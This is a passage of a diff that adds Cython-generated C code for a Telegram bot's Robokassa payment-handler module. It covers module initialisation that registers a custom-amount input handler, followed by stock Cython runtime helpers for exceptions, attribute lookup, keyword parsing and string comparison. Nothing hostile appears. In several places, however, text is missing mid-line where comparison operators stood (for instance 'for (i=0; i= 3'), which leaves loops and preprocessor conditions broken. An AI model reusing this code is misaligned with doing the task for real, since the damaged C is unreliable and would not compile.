types.Message, state: FSMContext): + * tg_id = message.chat.id + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_router); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_message, __pyx_kp_s_types_Message) < 0) __PYX_ERR(0, 244, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 244, __pyx_L1_error) + __pyx_t_2 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_13robokassa_pay_17handle_custom_amount_input, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_handle_custom_amount_input, NULL, __pyx_n_s_handlers_payments_robokassa_pay, __pyx_d, ((PyObject *)__pyx_codeobj__28)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_2, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_handle_custom_amount_input, __pyx_t_3) < 0) __PYX_ERR(0, 244, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/robokassa_pay.py":1 + * import hashlib # <<<<<<<<<<<<<< + * from typing import Any + * + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_3) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /*--- Wrapped vars code ---*/ + + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_7); + if (__pyx_m) { + if (__pyx_d && stringtab_initialized) { + __Pyx_AddTraceback("init handlers.payments.robokassa_pay", __pyx_clineno, __pyx_lineno, __pyx_filename); + } + #if !CYTHON_USE_MODULE_STATE + Py_CLEAR(__pyx_m); + #else + Py_DECREF(__pyx_m); + if (pystate_addmodule_run) { + PyObject *tp, *value, *tb; + PyErr_Fetch(&tp, &value, &tb); + PyState_RemoveModule(&__pyx_moduledef); + PyErr_Restore(tp, value, tb); + } + #endif + } else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_ImportError, "init handlers.payments.robokassa_pay"); + } + __pyx_L0:; + __Pyx_RefNannyFinishContext(); + #if CYTHON_PEP489_MULTI_PHASE_INIT + return (__pyx_m != NULL) ? 0 : -1; + #elif PY_MAJOR_VERSION >= 3 + return __pyx_m; + #else + return; + #endif +} +/* #### Code section: cleanup_globals ### */ +/* #### Code section: cleanup_module ### */ +/* #### Code section: main_method ### */ +/* #### Code section: utility_code_pragmas ### */ +#ifdef _MSC_VER +#pragma warning( push ) +/* Warning 4127: conditional expression is constant + * Cython uses constant conditional expressions to allow in inline functions to be optimized at + * compile-time, so this warning is not useful + */ +#pragma warning( disable : 4127 ) +#endif + + + +/* #### Code section: utility_code_def ### */ + +/* --- Runtime support code --- */ +/* Refnanny */ +#if CYTHON_REFNANNY +static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { + PyObject *m = NULL, *p = NULL; + void *r = NULL; + m = PyImport_ImportModule(modname); + if (!m) goto end; + p = PyObject_GetAttrString(m, "RefNannyAPI"); + if (!p) goto end; + r = PyLong_AsVoidPtr(p); +end: + Py_XDECREF(p); + Py_XDECREF(m); + return (__Pyx_RefNannyAPIStruct *)r; +} +#endif + +/* PyErrExceptionMatches */ +#if CYTHON_FAST_THREAD_STATE +static int __Pyx_PyErr_ExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030C00A6 + PyObject *current_exception = tstate->current_exception; + if (unlikely(!current_exception)) return 0; + exc_type = (PyObject*) Py_TYPE(current_exception); + if (exc_type == err) return 1; +#else + exc_type = tstate->curexc_type; + if (exc_type == err) return 1; + if (unlikely(!exc_type)) return 0; +#endif + #if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(exc_type); + #endif + if (unlikely(PyTuple_Check(err))) { + result = __Pyx_PyErr_ExceptionMatchesTuple(exc_type, err); + } else { + result = __Pyx_PyErr_GivenExceptionMatches(exc_type, err); + } + #if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(exc_type); + #endif + return result; +} +#endif + +/* PyErrFetchRestore */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject *tmp_value; + assert(type == NULL || (value != NULL && type == (PyObject*) Py_TYPE(value))); + if (value) { + #if CYTHON_COMPILING_IN_CPYTHON + if (unlikely(((PyBaseExceptionObject*) value)->traceback != tb)) + #endif + PyException_SetTraceback(value, tb); + } + tmp_value = tstate->current_exception; + tstate->current_exception = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + tmp_type = tstate->curexc_type; + tmp_value = tstate->curexc_value; + tmp_tb = tstate->curexc_traceback; + tstate->curexc_type = type; + tstate->curexc_value = value; + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#endif +} +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject* exc_value; + exc_value = tstate->current_exception; + tstate->current_exception = 0; + *value = exc_value; + *type = NULL; + *tb = NULL; + if (exc_value) { + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + #if CYTHON_COMPILING_IN_CPYTHON + *tb = ((PyBaseExceptionObject*) exc_value)->traceback; + Py_XINCREF(*tb); + #else + *tb = PyException_GetTraceback(exc_value); + #endif + } +#else + *type = tstate->curexc_type; + *value = tstate->curexc_value; + *tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; +#endif +} +#endif + +/* PyObjectGetAttrStr */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro)) + return tp->tp_getattro(obj, attr_name); +#if PY_MAJOR_VERSION < 3 + if (likely(tp->tp_getattr)) + return tp->tp_getattr(obj, PyString_AS_STRING(attr_name)); +#endif + return PyObject_GetAttr(obj, attr_name); +} +#endif + +/* PyObjectGetAttrStrNoError */ +#if __PYX_LIMITED_VERSION_HEX < 0x030d00A1 +static void __Pyx_PyObject_GetAttrStr_ClearAttributeError(void) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (likely(__Pyx_PyErr_ExceptionMatches(PyExc_AttributeError))) + __Pyx_PyErr_Clear(); +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name) { + PyObject *result; +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + (void) PyObject_GetOptionalAttr(obj, attr_name, &result); + return result; +#else +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_TYPE_SLOTS && PY_VERSION_HEX >= 0x030700B1 + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro == PyObject_GenericGetAttr)) { + return _PyObject_GenericGetAttrWithDict(obj, attr_name, NULL, 1); + } +#endif + result = __Pyx_PyObject_GetAttrStr(obj, attr_name); + if (unlikely(!result)) { + __Pyx_PyObject_GetAttrStr_ClearAttributeError(); + } + return result; +#endif +} + +/* GetBuiltinName */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name) { + PyObject* result = __Pyx_PyObject_GetAttrStrNoError(__pyx_b, name); + if (unlikely(!result) && !PyErr_Occurred()) { + PyErr_Format(PyExc_NameError, +#if PY_MAJOR_VERSION >= 3 + "name '%U' is not defined", name); +#else + "name '%.200s' is not defined", PyString_AS_STRING(name)); +#endif + } + return result; +} + +/* TupleAndListFromArray */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE void __Pyx_copy_object_array(PyObject *const *CYTHON_RESTRICT src, PyObject** CYTHON_RESTRICT dest, Py_ssize_t length) { + PyObject *v; + Py_ssize_t i; + for (i = 0; i < length; i++) { + v = dest[i] = src[i]; + Py_INCREF(v); + } +} +static CYTHON_INLINE PyObject * +__Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + Py_INCREF(__pyx_empty_tuple); + return __pyx_empty_tuple; + } + res = PyTuple_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyTupleObject*)res)->ob_item, n); + return res; +} +static CYTHON_INLINE PyObject * +__Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + return PyList_New(0); + } + res = PyList_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyListObject*)res)->ob_item, n); + return res; +} +#endif + +/* BytesEquals */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else + if (s1 == s2) { + return (equals == Py_EQ); + } else if (PyBytes_CheckExact(s1) & PyBytes_CheckExact(s2)) { + const char *ps1, *ps2; + Py_ssize_t length = PyBytes_GET_SIZE(s1); + if (length != PyBytes_GET_SIZE(s2)) + return (equals == Py_NE); + ps1 = PyBytes_AS_STRING(s1); + ps2 = PyBytes_AS_STRING(s2); + if (ps1[0] != ps2[0]) { + return (equals == Py_NE); + } else if (length == 1) { + return (equals == Py_EQ); + } else { + int result; +#if CYTHON_USE_UNICODE_INTERNALS && (PY_VERSION_HEX < 0x030B0000) + Py_hash_t hash1, hash2; + hash1 = ((PyBytesObject*)s1)->ob_shash; + hash2 = ((PyBytesObject*)s2)->ob_shash; + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + return (equals == Py_NE); + } +#endif + result = memcmp(ps1, ps2, (size_t)length); + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & PyBytes_CheckExact(s2)) { + return (equals == Py_NE); + } else if ((s2 == Py_None) & PyBytes_CheckExact(s1)) { + return (equals == Py_NE); + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +#endif +} + +/* UnicodeEquals */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else +#if PY_MAJOR_VERSION < 3 + PyObject* owned_ref = NULL; +#endif + int s1_is_unicode, s2_is_unicode; + if (s1 == s2) { + goto return_eq; + } + s1_is_unicode = PyUnicode_CheckExact(s1); + s2_is_unicode = PyUnicode_CheckExact(s2); +#if PY_MAJOR_VERSION < 3 + if ((s1_is_unicode & (!s2_is_unicode)) && PyString_CheckExact(s2)) { + owned_ref = PyUnicode_FromObject(s2); + if (unlikely(!owned_ref)) + return -1; + s2 = owned_ref; + s2_is_unicode = 1; + } else if ((s2_is_unicode & (!s1_is_unicode)) && PyString_CheckExact(s1)) { + owned_ref = PyUnicode_FromObject(s1); + if (unlikely(!owned_ref)) + return -1; + s1 = owned_ref; + s1_is_unicode = 1; + } else if (((!s2_is_unicode) & (!s1_is_unicode))) { + return __Pyx_PyBytes_Equals(s1, s2, equals); + } +#endif + if (s1_is_unicode & s2_is_unicode) { + Py_ssize_t length; + int kind; + void *data1, *data2; + if (unlikely(__Pyx_PyUnicode_READY(s1) < 0) || unlikely(__Pyx_PyUnicode_READY(s2) < 0)) + return -1; + length = __Pyx_PyUnicode_GET_LENGTH(s1); + if (length != __Pyx_PyUnicode_GET_LENGTH(s2)) { + goto return_ne; + } +#if CYTHON_USE_UNICODE_INTERNALS + { + Py_hash_t hash1, hash2; + #if CYTHON_PEP393_ENABLED + hash1 = ((PyASCIIObject*)s1)->hash; + hash2 = ((PyASCIIObject*)s2)->hash; + #else + hash1 = ((PyUnicodeObject*)s1)->hash; + hash2 = ((PyUnicodeObject*)s2)->hash; + #endif + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + goto return_ne; + } + } +#endif + kind = __Pyx_PyUnicode_KIND(s1); + if (kind != __Pyx_PyUnicode_KIND(s2)) { + goto return_ne; + } + data1 = __Pyx_PyUnicode_DATA(s1); + data2 = __Pyx_PyUnicode_DATA(s2); + if (__Pyx_PyUnicode_READ(kind, data1, 0) != __Pyx_PyUnicode_READ(kind, data2, 0)) { + goto return_ne; + } else if (length == 1) { + goto return_eq; + } else { + int result = memcmp(data1, data2, (size_t)(length * kind)); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & s2_is_unicode) { + goto return_ne; + } else if ((s2 == Py_None) & s1_is_unicode) { + goto return_ne; + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +return_eq: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ); +return_ne: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_NE); +#endif +} + +/* fastcall */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s) +{ + Py_ssize_t i, n = PyTuple_GET_SIZE(kwnames); + for (i = 0; i < n; i++) + { + if (s == PyTuple_GET_ITEM(kwnames, i)) return kwvalues[i]; + } + for (i = 0; i < n; i++) + { + int eq = __Pyx_PyUnicode_Equals(s, PyTuple_GET_ITEM(kwnames, i), Py_EQ); + if (unlikely(eq != 0)) { + if (unlikely(eq < 0)) return NULL; + return kwvalues[i]; + } + } + return NULL; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 +CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues) { + Py_ssize_t i, nkwargs = PyTuple_GET_SIZE(kwnames); + PyObject *dict; + dict = PyDict_New(); + if (unlikely(!dict)) + return NULL; + for (i=0; i= 3 + "%s() got multiple values for keyword argument '%U'", func_name, kw_name); + #else + "%s() got multiple values for keyword argument '%s'", func_name, + PyString_AsString(kw_name)); + #endif +} + +/* ParseKeywords */ +static int __Pyx_ParseOptionalKeywords( + PyObject *kwds, + PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, + PyObject *values[], + Py_ssize_t num_pos_args, + const char* function_name) +{ + PyObject *key = 0, *value = 0; + Py_ssize_t pos = 0; + PyObject*** name; + PyObject*** first_kw_arg = argnames + num_pos_args; + int kwds_is_tuple = CYTHON_METH_FASTCALL && likely(PyTuple_Check(kwds)); + while (1) { + Py_XDECREF(key); key = NULL; + Py_XDECREF(value); value = NULL; + if (kwds_is_tuple) { + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(kwds); +#else + size = PyTuple_Size(kwds); + if (size < 0) goto bad; +#endif + if (pos >= size) break; +#if CYTHON_AVOID_BORROWED_REFS + key = __Pyx_PySequence_ITEM(kwds, pos); + if (!key) goto bad; +#elif CYTHON_ASSUME_SAFE_MACROS + key = PyTuple_GET_ITEM(kwds, pos); +#else + key = PyTuple_GetItem(kwds, pos); + if (!key) goto bad; +#endif + value = kwvalues[pos]; + pos++; + } + else + { + if (!PyDict_Next(kwds, &pos, &key, &value)) break; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + } + name = first_kw_arg; + while (*name && (**name != key)) name++; + if (*name) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(value); + Py_DECREF(key); +#endif + key = NULL; + value = NULL; + continue; + } +#if !CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + Py_INCREF(value); + name = first_kw_arg; + #if PY_MAJOR_VERSION < 3 + if (likely(PyString_Check(key))) { + while (*name) { + if ((CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**name) == PyString_GET_SIZE(key)) + && _PyString_Eq(**name, key)) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + if ((**argname == key) || ( + (CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**argname) == PyString_GET_SIZE(key)) + && _PyString_Eq(**argname, key))) { + goto arg_passed_twice; + } + argname++; + } + } + } else + #endif + if (likely(PyUnicode_Check(key))) { + while (*name) { + int cmp = ( + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**name) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**name, key) + ); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + int cmp = (**argname == key) ? 0 : + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**argname) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**argname, key); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) goto arg_passed_twice; + argname++; + } + } + } else + goto invalid_keyword_type; + if (kwds2) { + if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad; + } else { + goto invalid_keyword; + } + } + Py_XDECREF(key); + Py_XDECREF(value); + return 0; +arg_passed_twice: + __Pyx_RaiseDoubleKeywordsError(function_name, key); + goto bad; +invalid_keyword_type: + PyErr_Format(PyExc_TypeError, + "%.200s() keywords must be strings", function_name); + goto bad; +invalid_keyword: + #if PY_MAJOR_VERSION < 3 + PyErr_Format(PyExc_TypeError, + "%.200s() got an unexpected keyword argument '%.200s'", + function_name, PyString_AsString(key)); + #else + PyErr_Format(PyExc_TypeError, + "%s() got an unexpected keyword argument '%U'", + function_name, key); + #endif +bad: + Py_XDECREF(key); + Py_XDECREF(value); + return -1; +} + +/* PyDictVersioning */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + return likely(dict) ? __PYX_GET_DICT_VERSION(dict) : 0; +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj) { + PyObject **dictptr = NULL; + Py_ssize_t offset = Py_TYPE(obj)->tp_dictoffset; + if (offset) { +#if CYTHON_COMPILING_IN_CPYTHON + dictptr = (likely(offset > 0)) ? (PyObject **) ((char *)obj + offset) : _PyObject_GetDictPtr(obj); +#else + dictptr = _PyObject_GetDictPtr(obj); +#endif + } + return (dictptr && *dictptr) ? __PYX_GET_DICT_VERSION(*dictptr) : 0; +} +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + if (unlikely(!dict) || unlikely(tp_dict_version != __PYX_GET_DICT_VERSION(dict))) + return 0; + return obj_dict_version == __Pyx_get_object_dict_version(obj); +} +#endif + +/* GetModuleGlobalName */ +#if CYTHON_USE_DICT_VERSIONS +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value) +#else +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name) +#endif +{ + PyObject *result; +#if !CYTHON_AVOID_BORROWED_REFS +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 + result = _PyDict_GetItem_KnownHash(__pyx_d, name, ((PyASCIIObject *) name)->hash); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } else if (unlikely(PyErr_Occurred())) { + return NULL; + } +#elif CYTHON_COMPILING_IN_LIMITED_API + if (unlikely(!__pyx_m)) { + return NULL; + } + result = PyObject_GetAttr(__pyx_m, name); + if (likely(result)) { + return result; + } +#else + result = PyDict_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } +#endif +#else + result = PyObject_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } + PyErr_Clear(); +#endif + return __Pyx_GetBuiltinName(name); +} + +/* JoinPyUnicode */ +static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char) { +#if CYTHON_USE_UNICODE_INTERNALS && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + PyObject *result_uval; + int result_ukind, kind_shift; + Py_ssize_t i, char_pos; + void *result_udata; + CYTHON_MAYBE_UNUSED_VAR(max_char); +#if CYTHON_PEP393_ENABLED + result_uval = PyUnicode_New(result_ulength, max_char); + if (unlikely(!result_uval)) return NULL; + result_ukind = (max_char <= 255) ? PyUnicode_1BYTE_KIND : (max_char <= 65535) ? PyUnicode_2BYTE_KIND : PyUnicode_4BYTE_KIND; + kind_shift = (result_ukind == PyUnicode_4BYTE_KIND) ? 2 : result_ukind - 1; + result_udata = PyUnicode_DATA(result_uval); +#else + result_uval = PyUnicode_FromUnicode(NULL, result_ulength); + if (unlikely(!result_uval)) return NULL; + result_ukind = sizeof(Py_UNICODE); + kind_shift = (result_ukind == 4) ? 2 : result_ukind - 1; + result_udata = PyUnicode_AS_UNICODE(result_uval); +#endif + assert(kind_shift == 2 || kind_shift == 1 || kind_shift == 0); + char_pos = 0; + for (i=0; i < value_count; i++) { + int ukind; + Py_ssize_t ulength; + void *udata; + PyObject *uval = PyTuple_GET_ITEM(value_tuple, i); + if (unlikely(__Pyx_PyUnicode_READY(uval))) + goto bad; + ulength = __Pyx_PyUnicode_GET_LENGTH(uval); + if (unlikely(!ulength)) + continue; + if (unlikely((PY_SSIZE_T_MAX >> kind_shift) - ulength < char_pos)) + goto overflow; + ukind = __Pyx_PyUnicode_KIND(uval); + udata = __Pyx_PyUnicode_DATA(uval); + if (!CYTHON_PEP393_ENABLED || ukind == result_ukind) { + memcpy((char *)result_udata + (char_pos << kind_shift), udata, (size_t) (ulength << kind_shift)); + } else { + #if PY_VERSION_HEX >= 0x030d0000 + if (unlikely(PyUnicode_CopyCharacters(result_uval, char_pos, uval, 0, ulength) < 0)) goto bad; + #elif CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030300F0 || defined(_PyUnicode_FastCopyCharacters) + _PyUnicode_FastCopyCharacters(result_uval, char_pos, uval, 0, ulength); + #else + Py_ssize_t j; + for (j=0; j < ulength; j++) { + Py_UCS4 uchar = __Pyx_PyUnicode_READ(ukind, udata, j); + __Pyx_PyUnicode_WRITE(result_ukind, result_udata, char_pos+j, uchar); + } + #endif + } + char_pos += ulength; + } + return result_uval; +overflow: + PyErr_SetString(PyExc_OverflowError, "join() result is too long for a Python string"); +bad: + Py_DECREF(result_uval); + return NULL; +#else + CYTHON_UNUSED_VAR(max_char); + CYTHON_UNUSED_VAR(result_ulength); + CYTHON_UNUSED_VAR(value_count); + return PyUnicode_Join(__pyx_empty_unicode, value_tuple); +#endif +} + +/* PyFunctionFastCall */ +#if CYTHON_FAST_PYCALL && !CYTHON_VECTORCALL +static PyObject* __Pyx_PyFunction_FastCallNoKw(PyCodeObject *co, PyObject **args, Py_ssize_t na, + PyObject *globals) { + PyFrameObject *f; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject **fastlocals; + Py_ssize_t i; + PyObject *result; + assert(globals != NULL); + /* XXX Perhaps we should create a specialized + PyFrame_New() that doesn't take locals, but does + take builtins without sanity checking them. + */ + assert(tstate != NULL); + f = PyFrame_New(tstate, co, globals, NULL); + if (f == NULL) { + return NULL; + } + fastlocals = __Pyx_PyFrame_GetLocalsplus(f); + for (i = 0; i < na; i++) { + Py_INCREF(*args); + fastlocals[i] = *args++; + } + result = PyEval_EvalFrameEx(f,0); + ++tstate->recursion_depth; + Py_DECREF(f); + --tstate->recursion_depth; + return result; +} +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs) { + PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func); + PyObject *globals = PyFunction_GET_GLOBALS(func); + PyObject *argdefs = PyFunction_GET_DEFAULTS(func); + PyObject *closure; +#if PY_MAJOR_VERSION >= 3 + PyObject *kwdefs; +#endif + PyObject *kwtuple, **k; + PyObject **d; + Py_ssize_t nd; + Py_ssize_t nk; + PyObject *result; + assert(kwargs == NULL || PyDict_Check(kwargs)); + nk = kwargs ? PyDict_Size(kwargs) : 0; + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) { + return NULL; + } + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) { + return NULL; + } + #endif + if ( +#if PY_MAJOR_VERSION >= 3 + co->co_kwonlyargcount == 0 && +#endif + likely(kwargs == NULL || nk == 0) && + co->co_flags == (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)) { + if (argdefs == NULL && co->co_argcount == nargs) { + result = __Pyx_PyFunction_FastCallNoKw(co, args, nargs, globals); + goto done; + } + else if (nargs == 0 && argdefs != NULL + && co->co_argcount == Py_SIZE(argdefs)) { + /* function called with no arguments, but all parameters have + a default value: use default values as arguments .*/ + args = &PyTuple_GET_ITEM(argdefs, 0); + result =__Pyx_PyFunction_FastCallNoKw(co, args, Py_SIZE(argdefs), globals); + goto done; + } + } + if (kwargs != NULL) { + Py_ssize_t pos, i; + kwtuple = PyTuple_New(2 * nk); + if (kwtuple == NULL) { + result = NULL; + goto done; + } + k = &PyTuple_GET_ITEM(kwtuple, 0); + pos = i = 0; + while (PyDict_Next(kwargs, &pos, &k[i], &k[i+1])) { + Py_INCREF(k[i]); + Py_INCREF(k[i+1]); + i += 2; + } + nk = i / 2; + } + else { + 